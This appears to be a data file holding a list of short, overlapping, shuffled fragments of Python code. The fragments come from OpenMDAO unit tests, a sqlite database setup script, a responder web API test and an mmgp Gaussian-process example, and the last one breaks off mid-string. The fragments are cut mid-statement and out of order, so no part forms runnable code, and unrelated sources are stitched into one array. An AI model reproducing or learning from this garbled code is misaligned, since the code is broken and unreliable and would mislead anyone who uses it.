"inputs['C2.x'] = num_val assert_rel_error(self, inputs['C2.x'], arr_val, 1e-10) # assign array", "test_deprecated_metadata(self): prob = Problem() prob.model.add_subsystem('inputs', IndepVarComp('x', shape=3)) prob.model.add_subsystem('double', VectorDoublingComp()) msg", "units='V')) model.add_subsystem('source', IndepVarComp('I', 0.1, units='A')) model.add_subsystem('circuit', Circuit()) model.connect('source.I', 'circuit.I_in') model.connect('ground.V',", "promotes=['a', 'b']) g2.add_subsystem('C2', ExecComp('y=2*x', x=np.zeros((5, 1)), y=np.zeros((5, 1))), promotes=['x', 'y'])", "with excludes inputs = model.list_inputs(excludes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 8) #", "outputs['C2.y'], arr_val, 1e-10) # assign bad list shape to array", "-10 arr_val = -10*np.ones((5, 1)) bad_val = -10*np.ones((10)) inputs, outputs,", "assign list to array inputs['C2.x'] = arr_val.tolist() assert_rel_error(self, inputs['C2.x'], arr_val,", "'bad_name') def test_set_checks_shape(self): indep = IndepVarComp() indep.add_output('a') indep.add_output('x', shape=(5, 1))", "includes and excludes inputs = model.list_inputs(includes=['*V_out*'], excludes=['*Vg*'], out_stream=None) self.assertEqual( len(inputs),", "ValueError, msg): inputs['C2.x'] = bad_val # assign list to array", "model.get_nonlinear_vectors() outputs['G1.G2.C1.b'] = 123. self.assertEqual(outputs['G1.G2.C1.b'], 123.) inputs, outputs, residuals =", "TestSystem(unittest.TestCase): def test_vector_context_managers(self): g1 = Group() g1.add_subsystem('Indep', IndepVarComp('a', 5.0), promotes=['a'])", "inputs, outputs, residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], 5.) inputs, outputs, residuals", "shape to array with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val.tolist()", "from openmdao.api import Problem, Group, IndepVarComp, ExecComp from openmdao.test_suite.components.options_feature_vector import", "assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign array to array residuals['C2.y']", "# assign scalar to array inputs['C2.x'] = num_val assert_rel_error(self, inputs['C2.x'],", "# assign bad array shape to array with assertRaisesRegex(self, ValueError,", "out_stream=None) self.assertEqual( len(outputs), 5) # Outputs with includes. Explicit only", "assign list to array residuals['C2.y'] = arr_val.tolist() assert_rel_error(self, residuals['C2.y'], arr_val,", "residuals = model.get_nonlinear_vectors() self.assertEqual(inputs['G1.G2.C1.a'], -1.) inputs, outputs, residuals = g1.get_nonlinear_vectors()", "openmdao.utils.assert_utils import assert_rel_error, assert_warning class TestSystem(unittest.TestCase): def test_vector_context_managers(self): g1 =", "4., 6.]) def test_list_inputs_output_with_includes_excludes(self): from openmdao.test_suite.scripts.circuit_analysis import Resistor, Diode, Node,", "self.assertEqual( len(inputs), 3) # Inputs with includes matching a promoted", "Test pre-setup errors with self.assertRaises(Exception) as cm: inputs, outputs, residuals", "= g2.get_nonlinear_vectors() inputs['C1.a'] = -1. inputs, outputs, residuals = model.get_nonlinear_vectors()", "setting a new value inputs, outputs, residuals = model.get_nonlinear_vectors() outputs['G1.G2.C1.b']", "'nl_solver' attribute provides backwards compatibility \" \\ \"with OpenMDAO 1.x", "# assign array to array residuals['C2.y'] = arr_val assert_rel_error(self, residuals['C2.y'],", "called.\") with self.assertRaises(Exception) as cm: d_inputs, d_outputs, d_residuals = model.get_linear_vectors('vec')", "promotes=['x', 'y']) model = Group() model.add_subsystem('G1', g1, promotes=['b', 'y']) model.add_subsystem('Sink',", "model.add_subsystem('circuit', Circuit()) model.connect('source.I', 'circuit.I_in') model.connect('ground.V', 'circuit.Vg') p.setup() p.run_model() # Inputs", "= model.get_nonlinear_vectors() self.assertEqual(str(cm.exception), \"Group: Cannot get vectors because setup has", "model.list_inputs(includes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 3) # Inputs with includes matching", "= p.model model.add_subsystem('ground', IndepVarComp('V', 0., units='V')) model.add_subsystem('source', IndepVarComp('I', 0.1, units='A'))", "= \"The 'nl_solver' attribute provides backwards compatibility \" \\ \"with", "arr_val.tolist() assert_rel_error(self, residuals['C2.y'], arr_val, 1e-10) # assign bad list shape", "with assertRaisesRegex(self, ValueError, msg): residuals['C2.y'] = bad_val.tolist() def test_deprecated_solver_names(self): class", "= 10. self.assertEqual(d_outputs['G1.G2.C1.b'], 10.) # Test linear with invalid vec_name", "units='A')) model.add_subsystem('circuit', Circuit()) model.connect('source.I', 'circuit.I_in') model.connect('ground.V', 'circuit.Vg') p.setup() p.run_model() #", "numpy as np from openmdao.api import Problem, Group, IndepVarComp, ExecComp", "= model.list_inputs(excludes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 8) # Inputs with excludes", "= 123. self.assertEqual(outputs['G1.G2.C1.b'], 123.) inputs, outputs, residuals = g2.get_nonlinear_vectors() outputs['C1.b']", "array to array outputs['C2.y'] = arr_val assert_rel_error(self, outputs['C2.y'], arr_val, 1e-10)", "assign scalar to array residuals['C2.y'] = num_val assert_rel_error(self, residuals['C2.y'], arr_val,", "Group, IndepVarComp, ExecComp from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp from openmdao.utils.assert_utils import", "assign array to array inputs['C2.x'] = arr_val assert_rel_error(self, inputs['C2.x'], arr_val,", "5.0), promotes=['a']) g2 = g1.add_subsystem('G2', Group(), promotes=['*']) g2.add_subsystem('C1', ExecComp('b=2*a'), promotes=['a',", "assign array to scalar with assertRaisesRegex(self, ValueError, msg): residuals['C1.b'] =", "test_deprecated_solver_names(self): class DummySolver(): pass model = Group() # check nl_solver", "msg = \"The 'ln_solver' attribute provides backwards compatibility \" \\", "with assert_warning(DeprecationWarning, msg): prob.model.double.metadata['size'] = 3 prob.model.connect('inputs.x', 'double.x') prob.setup() prob['inputs.x']", "inputs = model.list_inputs(out_stream=None) self.assertEqual( len(inputs), 11) # Inputs with includes", "msg = \"Incompatible shape for '.*': Expected (.*) but got", "= DummySolver() with assert_warning(DeprecationWarning, msg): solver = model.nl_solver self.assertTrue(isinstance(solver, DummySolver))", "assign array to scalar with assertRaisesRegex(self, ValueError, msg): inputs['C1.a'] =", "Inputs with excludes inputs = model.list_inputs(excludes=['*V_out*'], out_stream=None) self.assertEqual( len(inputs), 8)", "5.) # Test inputs after setting a new value inputs,", "0., units='V')) model.add_subsystem('source', IndepVarComp('I', 0.1, units='A')) model.add_subsystem('circuit', Circuit()) model.connect('source.I', 'circuit.I_in')", "msg): outputs['C2.y'] = bad_val # assign list to array outputs['C2.y']", "to scalar with assertRaisesRegex(self, ValueError, msg): inputs['C1.a'] = arr_val #", "inputs, outputs, residuals = model.get_nonlinear_vectors() outputs['G1.G2.C1.b'] = 123. self.assertEqual(outputs['G1.G2.C1.b'], 123.)", "= g2.get_nonlinear_vectors() # Test outputs after setting a new value" ]
[ "in database.\"\"\" res = pd.read_sql(\"select name from sqlite_master\", connection) return", "and predictions.\"\"\" db_name = f'{sample}.db' db_path = os.path.join(config.DATADIR, db_name) conn", "index=False) conn.execute(f\"create index idx_{tbl}_user_id on {tbl}(user_id)\") def main(argv=None): if argv", "src import config def parse_args(argv): parser = argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace')", "sqlite3.connect(db_path) usr_name = f'users_{sample}.csv' usr_path = os.path.join(config.DATADIR, usr_name) users =", "create_database(sample): \"\"\"Create database with tables for targets, outcomes, and predictions.\"\"\"", "predictions.\"\"\" db_name = f'{sample}.db' db_path = os.path.join(config.DATADIR, db_name) conn =", "-*- coding: utf-8 -*- import argparse import os import sqlite3", "= os.path.join(config.DATADIR, db_name) conn = sqlite3.connect(db_path) usr_name = f'users_{sample}.csv' usr_path", "tables in database.\"\"\" res = pd.read_sql(\"select name from sqlite_master\", connection)", "'outcomes', 'predictions']: if tbl not in db_tbls: users.to_sql(tbl, conn, index=False)", "database.\"\"\" res = pd.read_sql(\"select name from sqlite_master\", connection) return res.name.values", "db_tbls: users.to_sql(tbl, conn, index=False) conn.execute(f\"create index idx_{tbl}_user_id on {tbl}(user_id)\") def", "sys import pandas as pd from src import config def", "parser = argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace') return parser.parse_args() def db_tables(connection): \"\"\"List", "\"\"\"List tables in database.\"\"\" res = pd.read_sql(\"select name from sqlite_master\",", "# -*- coding: utf-8 -*- import argparse import os import", "db_tables(conn) for tbl in ['decisions', 'outcomes', 'predictions']: if tbl not", "def parse_args(argv): parser = argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace') return parser.parse_args() def", "= f'users_{sample}.csv' usr_path = os.path.join(config.DATADIR, usr_name) users = pd.read_csv(usr_path) db_tbls", "conn, index=False) conn.execute(f\"create index idx_{tbl}_user_id on {tbl}(user_id)\") def main(argv=None): if", "usr_path = os.path.join(config.DATADIR, usr_name) users = pd.read_csv(usr_path) db_tbls = db_tables(conn)", "os.path.join(config.DATADIR, db_name) conn = sqlite3.connect(db_path) usr_name = f'users_{sample}.csv' usr_path =", "def db_tables(connection): \"\"\"List tables in database.\"\"\" res = pd.read_sql(\"select name", "name from sqlite_master\", connection) return res.name.values def create_database(sample): \"\"\"Create database", "def create_database(sample): \"\"\"Create database with tables for targets, outcomes, and", "config def parse_args(argv): parser = argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace') return parser.parse_args()", "parser.add_argument('sample') parser.add_argument('replace') return parser.parse_args() def db_tables(connection): \"\"\"List tables in database.\"\"\"", "index idx_{tbl}_user_id on {tbl}(user_id)\") def main(argv=None): if argv is None:", "pd from src import config def parse_args(argv): parser = argparse.ArgumentParser()", "connection) return res.name.values def create_database(sample): \"\"\"Create database with tables for", "tbl not in db_tbls: users.to_sql(tbl, conn, index=False) conn.execute(f\"create index idx_{tbl}_user_id", "as pd from src import config def parse_args(argv): parser =", "argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace') return parser.parse_args() def db_tables(connection): \"\"\"List tables in", "argv = sys.argv[:1] args = parse_args(argv) create_database(args.sample) if __name__ ==", "{tbl}(user_id)\") def main(argv=None): if argv is None: argv = sys.argv[:1]", "parser.parse_args() def db_tables(connection): \"\"\"List tables in database.\"\"\" res = pd.read_sql(\"select", "utf-8 -*- import argparse import os import sqlite3 import sys", "db_name) conn = sqlite3.connect(db_path) usr_name = f'users_{sample}.csv' usr_path = os.path.join(config.DATADIR,", "sqlite3 import sys import pandas as pd from src import", "usr_name) users = pd.read_csv(usr_path) db_tbls = db_tables(conn) for tbl in", "coding: utf-8 -*- import argparse import os import sqlite3 import", "= db_tables(conn) for tbl in ['decisions', 'outcomes', 'predictions']: if tbl", "parse_args(argv): parser = argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace') return parser.parse_args() def db_tables(connection):", "= os.path.join(config.DATADIR, usr_name) users = pd.read_csv(usr_path) db_tbls = db_tables(conn) for", "from src import config def parse_args(argv): parser = argparse.ArgumentParser() parser.add_argument('sample')", "db_tbls = db_tables(conn) for tbl in ['decisions', 'outcomes', 'predictions']: if", "outcomes, and predictions.\"\"\" db_name = f'{sample}.db' db_path = os.path.join(config.DATADIR, db_name)", "return parser.parse_args() def db_tables(connection): \"\"\"List tables in database.\"\"\" res =", "import config def parse_args(argv): parser = argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace') return", "tables for targets, outcomes, and predictions.\"\"\" db_name = f'{sample}.db' db_path", "tbl in ['decisions', 'outcomes', 'predictions']: if tbl not in db_tbls:", "conn.execute(f\"create index idx_{tbl}_user_id on {tbl}(user_id)\") def main(argv=None): if argv is", "None: argv = sys.argv[:1] args = parse_args(argv) create_database(args.sample) if __name__", "= sys.argv[:1] args = parse_args(argv) create_database(args.sample) if __name__ == '__main__':", "pd.read_sql(\"select name from sqlite_master\", connection) return res.name.values def create_database(sample): \"\"\"Create", "users.to_sql(tbl, conn, index=False) conn.execute(f\"create index idx_{tbl}_user_id on {tbl}(user_id)\") def main(argv=None):", "res = pd.read_sql(\"select name from sqlite_master\", connection) return res.name.values def", "os import sqlite3 import sys import pandas as pd from", "database with tables for targets, outcomes, and predictions.\"\"\" db_name =", "is None: argv = sys.argv[:1] args = parse_args(argv) create_database(args.sample) if", "= pd.read_sql(\"select name from sqlite_master\", connection) return res.name.values def create_database(sample):", "python3 # -*- coding: utf-8 -*- import argparse import os", "db_tables(connection): \"\"\"List tables in database.\"\"\" res = pd.read_sql(\"select name from", "idx_{tbl}_user_id on {tbl}(user_id)\") def main(argv=None): if argv is None: argv", "usr_name = f'users_{sample}.csv' usr_path = os.path.join(config.DATADIR, usr_name) users = pd.read_csv(usr_path)", "if argv is None: argv = sys.argv[:1] args = parse_args(argv)", "users = pd.read_csv(usr_path) db_tbls = db_tables(conn) for tbl in ['decisions',", "db_path = os.path.join(config.DATADIR, db_name) conn = sqlite3.connect(db_path) usr_name = f'users_{sample}.csv'", "sys.argv[:1] args = parse_args(argv) create_database(args.sample) if __name__ == '__main__': sys.exit(main())", "= pd.read_csv(usr_path) db_tbls = db_tables(conn) for tbl in ['decisions', 'outcomes',", "argv is None: argv = sys.argv[:1] args = parse_args(argv) create_database(args.sample)", "db_name = f'{sample}.db' db_path = os.path.join(config.DATADIR, db_name) conn = sqlite3.connect(db_path)", "\"\"\"Create database with tables for targets, outcomes, and predictions.\"\"\" db_name", "f'users_{sample}.csv' usr_path = os.path.join(config.DATADIR, usr_name) users = pd.read_csv(usr_path) db_tbls =", "import argparse import os import sqlite3 import sys import pandas", "targets, outcomes, and predictions.\"\"\" db_name = f'{sample}.db' db_path = os.path.join(config.DATADIR,", "parser.add_argument('replace') return parser.parse_args() def db_tables(connection): \"\"\"List tables in database.\"\"\" res", "return res.name.values def create_database(sample): \"\"\"Create database with tables for targets,", "argparse import os import sqlite3 import sys import pandas as", "= f'{sample}.db' db_path = os.path.join(config.DATADIR, db_name) conn = sqlite3.connect(db_path) usr_name", "pandas as pd from src import config def parse_args(argv): parser", "res.name.values def create_database(sample): \"\"\"Create database with tables for targets, outcomes,", "with tables for targets, outcomes, and predictions.\"\"\" db_name = f'{sample}.db'", "if tbl not in db_tbls: users.to_sql(tbl, conn, index=False) conn.execute(f\"create index", "sqlite_master\", connection) return res.name.values def create_database(sample): \"\"\"Create database with tables", "import sqlite3 import sys import pandas as pd from src", "= sqlite3.connect(db_path) usr_name = f'users_{sample}.csv' usr_path = os.path.join(config.DATADIR, usr_name) users", "= argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace') return parser.parse_args() def db_tables(connection): \"\"\"List tables", "import os import sqlite3 import sys import pandas as pd", "['decisions', 'outcomes', 'predictions']: if tbl not in db_tbls: users.to_sql(tbl, conn,", "-*- import argparse import os import sqlite3 import sys import", "'predictions']: if tbl not in db_tbls: users.to_sql(tbl, conn, index=False) conn.execute(f\"create", "main(argv=None): if argv is None: argv = sys.argv[:1] args =", "import sys import pandas as pd from src import config", "conn = sqlite3.connect(db_path) usr_name = f'users_{sample}.csv' usr_path = os.path.join(config.DATADIR, usr_name)", "on {tbl}(user_id)\") def main(argv=None): if argv is None: argv =", "pd.read_csv(usr_path) db_tbls = db_tables(conn) for tbl in ['decisions', 'outcomes', 'predictions']:", "f'{sample}.db' db_path = os.path.join(config.DATADIR, db_name) conn = sqlite3.connect(db_path) usr_name =", "for targets, outcomes, and predictions.\"\"\" db_name = f'{sample}.db' db_path =", "for tbl in ['decisions', 'outcomes', 'predictions']: if tbl not in", "in db_tbls: users.to_sql(tbl, conn, index=False) conn.execute(f\"create index idx_{tbl}_user_id on {tbl}(user_id)\")", "#!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import", "not in db_tbls: users.to_sql(tbl, conn, index=False) conn.execute(f\"create index idx_{tbl}_user_id on", "from sqlite_master\", connection) return res.name.values def create_database(sample): \"\"\"Create database with", "os.path.join(config.DATADIR, usr_name) users = pd.read_csv(usr_path) db_tbls = db_tables(conn) for tbl", "import pandas as pd from src import config def parse_args(argv):", "in ['decisions', 'outcomes', 'predictions']: if tbl not in db_tbls: users.to_sql(tbl,", "def main(argv=None): if argv is None: argv = sys.argv[:1] args" ]
[ "time.sleep(3) task() api.text = \"ok\" r = api.requests.get(api.url_for(route)) assert r.ok", "== dump def test_background(api): @api.route(\"/\") def route(req, resp): @api.background.task def", "view(req, resp): raise ValueError r = api.requests.get(api.url_for(view)) assert not r.ok", "resp): resp.media = dump r = api.requests.get(\"http://;/\") assert \"json\" in", "def test_yaml_media(api): dump = {\"life\": 42} @api.route(\"/\") def media(req, resp):", "= \"Hello, World!\" def test_requests_session(api): assert api.session() assert api.requests def", "def index(req, resp): resp.text = \"Hello, World!\" def test_requests_session(api): assert", "World!\" def test_requests_session(api): assert api.session() assert api.requests def test_json_media(api): dump", "= \"ok\" r = api.requests.get(api.url_for(route)) assert r.ok def test_500_error(api): def", "error\", 500) api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.0/index\") def view(req, resp): raise ValueError", "resp): raise ValueError r = api.requests.get(api.url_for(view)) assert not r.ok assert", "test_json_media(api): dump = {\"life\": 42} @api.route(\"/\") def media(req, resp): resp.media", "resp): resp.media = dump r = api.requests.get(\"http://;/\", headers={\"Accept\": \"yaml\"}) assert", "def test_hello_world(api): r = api.requests.get(\"/api/v1.0/index\") assert r.text == \"Hello, World!\"", "= api.requests.get(\"/api/v1.0/index\") assert r.text == \"Hello, World!\" def test_basic_route(api): @api.route(\"/api/v1.0/index\")", "test_hello_world(api): r = api.requests.get(\"/api/v1.0/index\") assert r.text == \"Hello, World!\" def", "resp.media = dump r = api.requests.get(\"http://;/\") assert \"json\" in r.headers[\"Content-Type\"]", "= api.requests.get(\"http://;/\", headers={\"Accept\": \"yaml\"}) assert \"yaml\" in r.headers[\"Content-Type\"] assert yaml.load(r.content)", "== b'Suppressed error' def test_404_error(api): r = api.requests.get(\"/api/v1.0/foo\") assert r.status_code", "= dump r = api.requests.get(\"http://;/\") assert \"json\" in r.headers[\"Content-Type\"] assert", "r.headers[\"Content-Type\"] assert r.json() == dump def test_yaml_media(api): dump = {\"life\":", "resp.media = dump r = api.requests.get(\"http://;/\", headers={\"Accept\": \"yaml\"}) assert \"yaml\"", "def media(req, resp): resp.media = dump r = api.requests.get(\"http://;/\") assert", "\"yaml\"}) assert \"yaml\" in r.headers[\"Content-Type\"] assert yaml.load(r.content) == dump def", "def catcher(req, exc): return PlainTextResponse(\"Suppressed error\", 500) api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.0/index\")", "return PlainTextResponse(\"Suppressed error\", 500) api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.0/index\") def view(req, resp):", "yaml import responder from starlette.responses import PlainTextResponse @pytest.fixture def api():", "@api.route(\"/api/v1.0/index\") def view(req, resp): raise ValueError r = api.requests.get(api.url_for(view)) assert", "test_background(api): @api.route(\"/\") def route(req, resp): @api.background.task def task(): import time", "def api(): return service.api def test_hello_world(api): r = api.requests.get(\"/api/v1.0/index\") assert", "def test_background(api): @api.route(\"/\") def route(req, resp): @api.background.task def task(): import", "catcher(req, exc): return PlainTextResponse(\"Suppressed error\", 500) api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.0/index\") def", "api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.0/index\") def view(req, resp): raise ValueError r =", "\"ok\" r = api.requests.get(api.url_for(route)) assert r.ok def test_500_error(api): def catcher(req,", "assert r.text == \"Hello, World!\" def test_basic_route(api): @api.route(\"/api/v1.0/index\") def index(req,", "@api.background.task def task(): import time time.sleep(3) task() api.text = \"ok\"", "42} @api.route(\"/\") def media(req, resp): resp.media = dump r =", "import app as service import yaml import responder from starlette.responses", "== \"Hello, World!\" def test_basic_route(api): @api.route(\"/api/v1.0/index\") def index(req, resp): resp.text", "app as service import yaml import responder from starlette.responses import", "def test_basic_route(api): @api.route(\"/api/v1.0/index\") def index(req, resp): resp.text = \"Hello, World!\"", "\"json\" in r.headers[\"Content-Type\"] assert r.json() == dump def test_yaml_media(api): dump", "b'Suppressed error' def test_404_error(api): r = api.requests.get(\"/api/v1.0/foo\") assert r.status_code ==", "resp): @api.background.task def task(): import time time.sleep(3) task() api.text =", "headers={\"Accept\": \"yaml\"}) assert \"yaml\" in r.headers[\"Content-Type\"] assert yaml.load(r.content) == dump", "def test_500_error(api): def catcher(req, exc): return PlainTextResponse(\"Suppressed error\", 500) api.app.add_exception_handler(ValueError,", "assert not r.ok assert r.content == b'Suppressed error' def test_404_error(api):", "@api.route(\"/\") def media(req, resp): resp.media = dump r = api.requests.get(\"http://;/\",", "dump r = api.requests.get(\"http://;/\") assert \"json\" in r.headers[\"Content-Type\"] assert r.json()", "r.ok assert r.content == b'Suppressed error' def test_404_error(api): r =", "dump r = api.requests.get(\"http://;/\", headers={\"Accept\": \"yaml\"}) assert \"yaml\" in r.headers[\"Content-Type\"]", "assert yaml.load(r.content) == dump def test_background(api): @api.route(\"/\") def route(req, resp):", "def route(req, resp): @api.background.task def task(): import time time.sleep(3) task()", "resp.text = \"Hello, World!\" def test_requests_session(api): assert api.session() assert api.requests", "catcher) @api.route(\"/api/v1.0/index\") def view(req, resp): raise ValueError r = api.requests.get(api.url_for(view))", "dump = {\"life\": 42} @api.route(\"/\") def media(req, resp): resp.media =", "assert api.requests def test_json_media(api): dump = {\"life\": 42} @api.route(\"/\") def", "api.requests.get(api.url_for(route)) assert r.ok def test_500_error(api): def catcher(req, exc): return PlainTextResponse(\"Suppressed", "World!\" def test_basic_route(api): @api.route(\"/api/v1.0/index\") def index(req, resp): resp.text = \"Hello,", "def test_json_media(api): dump = {\"life\": 42} @api.route(\"/\") def media(req, resp):", "service.api def test_hello_world(api): r = api.requests.get(\"/api/v1.0/index\") assert r.text == \"Hello,", "resp): resp.text = \"Hello, World!\" def test_requests_session(api): assert api.session() assert", "yaml.load(r.content) == dump def test_background(api): @api.route(\"/\") def route(req, resp): @api.background.task", "r.text == \"Hello, World!\" def test_basic_route(api): @api.route(\"/api/v1.0/index\") def index(req, resp):", "{\"life\": 42} @api.route(\"/\") def media(req, resp): resp.media = dump r", "starlette.responses import PlainTextResponse @pytest.fixture def api(): return service.api def test_hello_world(api):", "@api.route(\"/\") def route(req, resp): @api.background.task def task(): import time time.sleep(3)", "api.requests.get(api.url_for(view)) assert not r.ok assert r.content == b'Suppressed error' def", "def media(req, resp): resp.media = dump r = api.requests.get(\"http://;/\", headers={\"Accept\":", "import yaml import responder from starlette.responses import PlainTextResponse @pytest.fixture def", "task() api.text = \"ok\" r = api.requests.get(api.url_for(route)) assert r.ok def", "api.session() assert api.requests def test_json_media(api): dump = {\"life\": 42} @api.route(\"/\")", "import time time.sleep(3) task() api.text = \"ok\" r = api.requests.get(api.url_for(route))", "test_basic_route(api): @api.route(\"/api/v1.0/index\") def index(req, resp): resp.text = \"Hello, World!\" def", "error' def test_404_error(api): r = api.requests.get(\"/api/v1.0/foo\") assert r.status_code == responder.API.status_codes.HTTP_404", "assert \"yaml\" in r.headers[\"Content-Type\"] assert yaml.load(r.content) == dump def test_background(api):", "r = api.requests.get(\"http://;/\") assert \"json\" in r.headers[\"Content-Type\"] assert r.json() ==", "media(req, resp): resp.media = dump r = api.requests.get(\"http://;/\") assert \"json\"", "dump def test_background(api): @api.route(\"/\") def route(req, resp): @api.background.task def task():", "r.ok def test_500_error(api): def catcher(req, exc): return PlainTextResponse(\"Suppressed error\", 500)", "api.requests.get(\"http://;/\", headers={\"Accept\": \"yaml\"}) assert \"yaml\" in r.headers[\"Content-Type\"] assert yaml.load(r.content) ==", "in r.headers[\"Content-Type\"] assert yaml.load(r.content) == dump def test_background(api): @api.route(\"/\") def", "assert \"json\" in r.headers[\"Content-Type\"] assert r.json() == dump def test_yaml_media(api):", "@pytest.fixture def api(): return service.api def test_hello_world(api): r = api.requests.get(\"/api/v1.0/index\")", "time time.sleep(3) task() api.text = \"ok\" r = api.requests.get(api.url_for(route)) assert", "test_yaml_media(api): dump = {\"life\": 42} @api.route(\"/\") def media(req, resp): resp.media", "utf-8 import pytest import app as service import yaml import", "pytest import app as service import yaml import responder from", "PlainTextResponse @pytest.fixture def api(): return service.api def test_hello_world(api): r =", "r = api.requests.get(\"/api/v1.0/index\") assert r.text == \"Hello, World!\" def test_basic_route(api):", "return service.api def test_hello_world(api): r = api.requests.get(\"/api/v1.0/index\") assert r.text ==", "\"Hello, World!\" def test_requests_session(api): assert api.session() assert api.requests def test_json_media(api):", "import pytest import app as service import yaml import responder", "assert r.json() == dump def test_yaml_media(api): dump = {\"life\": 42}", "r = api.requests.get(\"http://;/\", headers={\"Accept\": \"yaml\"}) assert \"yaml\" in r.headers[\"Content-Type\"] assert", "dump def test_yaml_media(api): dump = {\"life\": 42} @api.route(\"/\") def media(req,", "exc): return PlainTextResponse(\"Suppressed error\", 500) api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.0/index\") def view(req,", "assert r.content == b'Suppressed error' def test_404_error(api): r = api.requests.get(\"/api/v1.0/foo\")", "api.requests.get(\"http://;/\") assert \"json\" in r.headers[\"Content-Type\"] assert r.json() == dump def", "media(req, resp): resp.media = dump r = api.requests.get(\"http://;/\", headers={\"Accept\": \"yaml\"})", "not r.ok assert r.content == b'Suppressed error' def test_404_error(api): r", "assert api.session() assert api.requests def test_json_media(api): dump = {\"life\": 42}", "ValueError r = api.requests.get(api.url_for(view)) assert not r.ok assert r.content ==", "@api.route(\"/\") def media(req, resp): resp.media = dump r = api.requests.get(\"http://;/\")", "service import yaml import responder from starlette.responses import PlainTextResponse @pytest.fixture", "r.headers[\"Content-Type\"] assert yaml.load(r.content) == dump def test_background(api): @api.route(\"/\") def route(req,", "assert r.ok def test_500_error(api): def catcher(req, exc): return PlainTextResponse(\"Suppressed error\",", "= api.requests.get(\"http://;/\") assert \"json\" in r.headers[\"Content-Type\"] assert r.json() == dump", "responder from starlette.responses import PlainTextResponse @pytest.fixture def api(): return service.api", "as service import yaml import responder from starlette.responses import PlainTextResponse", "coding: utf-8 import pytest import app as service import yaml", "500) api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.0/index\") def view(req, resp): raise ValueError r", "in r.headers[\"Content-Type\"] assert r.json() == dump def test_yaml_media(api): dump =", "api.text = \"ok\" r = api.requests.get(api.url_for(route)) assert r.ok def test_500_error(api):", "r = api.requests.get(api.url_for(route)) assert r.ok def test_500_error(api): def catcher(req, exc):", "api.requests.get(\"/api/v1.0/index\") assert r.text == \"Hello, World!\" def test_basic_route(api): @api.route(\"/api/v1.0/index\") def", "import PlainTextResponse @pytest.fixture def api(): return service.api def test_hello_world(api): r", "= dump r = api.requests.get(\"http://;/\", headers={\"Accept\": \"yaml\"}) assert \"yaml\" in", "PlainTextResponse(\"Suppressed error\", 500) api.app.add_exception_handler(ValueError, catcher) @api.route(\"/api/v1.0/index\") def view(req, resp): raise", "r = api.requests.get(api.url_for(view)) assert not r.ok assert r.content == b'Suppressed", "api.requests def test_json_media(api): dump = {\"life\": 42} @api.route(\"/\") def media(req,", "= api.requests.get(api.url_for(view)) assert not r.ok assert r.content == b'Suppressed error'", "r.content == b'Suppressed error' def test_404_error(api): r = api.requests.get(\"/api/v1.0/foo\") assert", "= api.requests.get(api.url_for(route)) assert r.ok def test_500_error(api): def catcher(req, exc): return", "def task(): import time time.sleep(3) task() api.text = \"ok\" r", "from starlette.responses import PlainTextResponse @pytest.fixture def api(): return service.api def", "== dump def test_yaml_media(api): dump = {\"life\": 42} @api.route(\"/\") def", "test_500_error(api): def catcher(req, exc): return PlainTextResponse(\"Suppressed error\", 500) api.app.add_exception_handler(ValueError, catcher)", "raise ValueError r = api.requests.get(api.url_for(view)) assert not r.ok assert r.content", "# coding: utf-8 import pytest import app as service import", "api(): return service.api def test_hello_world(api): r = api.requests.get(\"/api/v1.0/index\") assert r.text", "= {\"life\": 42} @api.route(\"/\") def media(req, resp): resp.media = dump", "index(req, resp): resp.text = \"Hello, World!\" def test_requests_session(api): assert api.session()", "def view(req, resp): raise ValueError r = api.requests.get(api.url_for(view)) assert not", "r.json() == dump def test_yaml_media(api): dump = {\"life\": 42} @api.route(\"/\")", "import responder from starlette.responses import PlainTextResponse @pytest.fixture def api(): return", "\"yaml\" in r.headers[\"Content-Type\"] assert yaml.load(r.content) == dump def test_background(api): @api.route(\"/\")", "task(): import time time.sleep(3) task() api.text = \"ok\" r =", "def test_requests_session(api): assert api.session() assert api.requests def test_json_media(api): dump =", "route(req, resp): @api.background.task def task(): import time time.sleep(3) task() api.text", "\"Hello, World!\" def test_basic_route(api): @api.route(\"/api/v1.0/index\") def index(req, resp): resp.text =", "@api.route(\"/api/v1.0/index\") def index(req, resp): resp.text = \"Hello, World!\" def test_requests_session(api):", "test_requests_session(api): assert api.session() assert api.requests def test_json_media(api): dump = {\"life\":" ]
[ "test.Y, batch_size = BATCH_SIZE) try: np.savetxt(\"nlpd_meanvar.csv\", nlpd_meanvar, delimiter=\",\") # N", "period = 144) ]) for i in range(output_dim)] k_f =", "leave f independent # order of block_struct is rows, node", "-*- coding: utf-8 -*- \"\"\" Script to execute example covarying", "model class preamble and example below for further details. \"\"\"", "datasets from mmgp import losses from mmgp import util dpath", "_ in range(output_dim)] for i in range(output_dim): lag_active_dims_s[i] = list(range(lag_dim*i,", "= True Note on specifying group structure for F: Grouping", "predicted values and loss metrics ypred = m.predict(test.X, batch_size =", "metrics ypred = m.predict(test.X, batch_size = BATCH_SIZE) #same batchsize used", "2 recent lagged observations for each site in order -", "nodes # create 'between' kernel list klink_rows = [kernels.CompositeKernel('mul',[kernels.RadialBasis(2, std_dev=2.0,", "# -*- coding: utf-8 -*- \"\"\" Script to execute example", "# export final predicted values and loss metrics ypred =", "shuffle=False) test = datasets.DataSet(Xte.astype(np.float32), Yte.astype(np.float32), shuffle=False) print(\"dataset 